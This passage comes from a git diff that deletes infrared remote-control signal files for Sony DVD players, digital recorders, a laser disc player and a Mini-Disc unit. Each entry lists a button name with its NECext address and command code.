SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 73 00 00 00 -# -name: DIAL_CW -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 73 00 00 00 -# -name: PICTURE_MEMORY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 76 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir deleted file mode 100644 index a0e48c3a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,83.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 0B 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 10 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 15 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1A 00 00 00 -# -name: SCAN/SLOW_<< -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1B 00 00 00 -# -name: SCAN/SLOW_>> -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1D 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 1E 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 22 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 23 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 24 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 2A 00 00 00 -# -name: BOOKMARK/SEARCH_MENU -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 30 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 42 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 43 00 00 00 -# -name: VCR_+ -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 4C 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 4D 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 4F 00 00 00 -# -name: NEXT_> -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 56 00 00 00 -# -name: <_PREV -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 57 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 58 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 5A 00 00 00 -# -name: REPEAT/REPLAY -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 5B 00 00 00 -# -name: SKIP_> -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 5D 00 00 00 -# -name: SUBTITLE/TIMER -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 60 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 61 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 62 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 63 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 65 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 69 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 6A 00 00 00 -# -name: MUTE/ZOOM -type: parsed -protocol: NECext -address: 1A 53 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir deleted file mode 100644 index a92e1c271..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/26,98.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STEP> -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 14 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 20 00 00 00 -# -name: FILE -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 20 00 00 00 -# -name: AUDIO_/_FILE -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 20 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 21 00 00 00 -# -name: SORT -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 21 00 00 00 -# -name: ANGLE_/_SORT -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 21 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 22 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 22 00 00 00 -# -name: SUBTITLE_/_EDIT -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 22 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 3D 00 00 00 -# -name: DISC_SKIP_-- -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 3D 00 00 00 -# -name: DISC_SKIP_- -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 3D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 3E 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 3E 00 00 00 -# -name: DISC_SKIP_+ -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 3E 00 00 00 -# -name: FLIP -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 3F 00 00 00 -# -name: FOLDER_(ALL) -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 40 00 00 00 -# -name: FOLDER_.ALL -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 40 00 00 00 -# -name: ALL -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 40 00 00 00 -# -name: FOLDER_ALL -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 40 00 00 00 -# -name: DVD_FOLDER -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 41 00 00 00 -# -name: FOLDER_.DVD -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 41 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 41 00 00 00 -# -name: FOLDER_DVD -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 41 00 00 00 -# -name: CD_FOLDER -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 42 00 00 00 -# -name: FOLDER_.CD -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 42 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 42 00 00 00 -# -name: FOLDER_CD -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 42 00 00 00 -# -name: FOLDER_A -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 43 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 43 00 00 00 -# -name: FOLDER_B -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 44 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 44 00 00 00 -# -name: FOLDER_C -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 45 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 45 00 00 00 -# -name: FOLDER_D -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 46 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 46 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir deleted file mode 100644 index e7517996e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DVD Player/4,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF_(ALT.) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir deleted file mode 100644 index c022259bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir deleted file mode 100644 index c8a37eeec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 09 00 00 00 -# -name: ENTER/JUMP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 0B 00 00 00 -# -name: CHANNEL/PAGE_+ -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 10 00 00 00 -# -name: CHANNEL/PAGE_- -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 15 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1A 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1B 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 1D 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 23 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 2B 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5E 00 00 00 -# -name: ARROW-UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 5F 00 00 00 -# -name: ARROW-DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 60 00 00 00 -# -name: ARROW-RIGHT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 61 00 00 00 -# -name: ARROW-LEFT -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 62 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 63 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 6F 00 00 00 -# -name: THUMBS-UP -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 70 00 00 00 -# -name: THUMBS-DOWN -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 71 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 72 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 1A 9A 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir deleted file mode 100644 index e605c1659..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0D 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0F 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1B 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 28 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 30 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 32 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 33 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 54 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 5C 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 63 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: C_DN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: C_LF -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: C_RT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir deleted file mode 100644 index 497ac01e7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TITLE_LIST -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 10 00 00 00 -# -name: INSTANT_SEARCH -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 14 00 00 00 -# -name: TOOLS -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 17 00 00 00 -# -name: CURSOR_MODE -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 18 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 19 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 1C 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 1A 62 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir deleted file mode 100644 index 11d595c33..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: SEARCH/NEXT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0B 00 00 00 -# -name: FRAME/TIME -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 15 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1A 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1E 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1F 00 00 00 -# -name: SPEED_SET+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 21 00 00 00 -# -name: SPEED_SET_+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 21 00 00 00 -# -name: SPEED_SET- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 22 00 00 00 -# -name: SPEED_SET_- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 22 00 00 00 -# -name: MULTI-SPEED> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 23 00 00 00 -# -name: MULTISPEED_> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 23 00 00 00 -# -name: MULTI-SPEED< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 24 00 00 00 -# -name: MULTISPEED_< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 24 00 00 00 -# -name: MEMORY_PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 25 00 00 00 -# -name: AV_TIME -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 28 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 29 00 00 00 -# -name: STILL/STEP> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2B 00 00 00 -# -name: STILL/STEP_> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2B 00 00 00 -# -name: STILL/STEP< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2C 00 00 00 -# -name: STILL/STEP_< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2F 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 30 00 00 00 -# -name: CX -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 32 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: ACS/AMS_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: ACS/AMS_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 38 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 39 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3A 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 40 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 41 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 44 00 00 00 -# -name: AUTO_PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 46 00 00 00 -# -name: 1/ALL -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 47 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir deleted file mode 100644 index 071ea7830..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir +++ /dev/null @@ -1,464 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: 1_(F) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: 2_(G) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: 3_(H) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: 4_(I) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: 5_(J) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: 6_(K) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: 7_(L) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: 8_(M) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: 9_(N) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: 10_(O) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0A 00 00 00 -# -name: >25_(/) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0A 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: SCROLL -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: (E) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 -# -name: (D) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: CONTINUE_(A) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1D 00 00 00 -# -name: SHUFFLE_(B) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1E 00 00 00 -# -name: PROGRAM_(C) -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1F 00 00 00 -# -name: -type: parsed 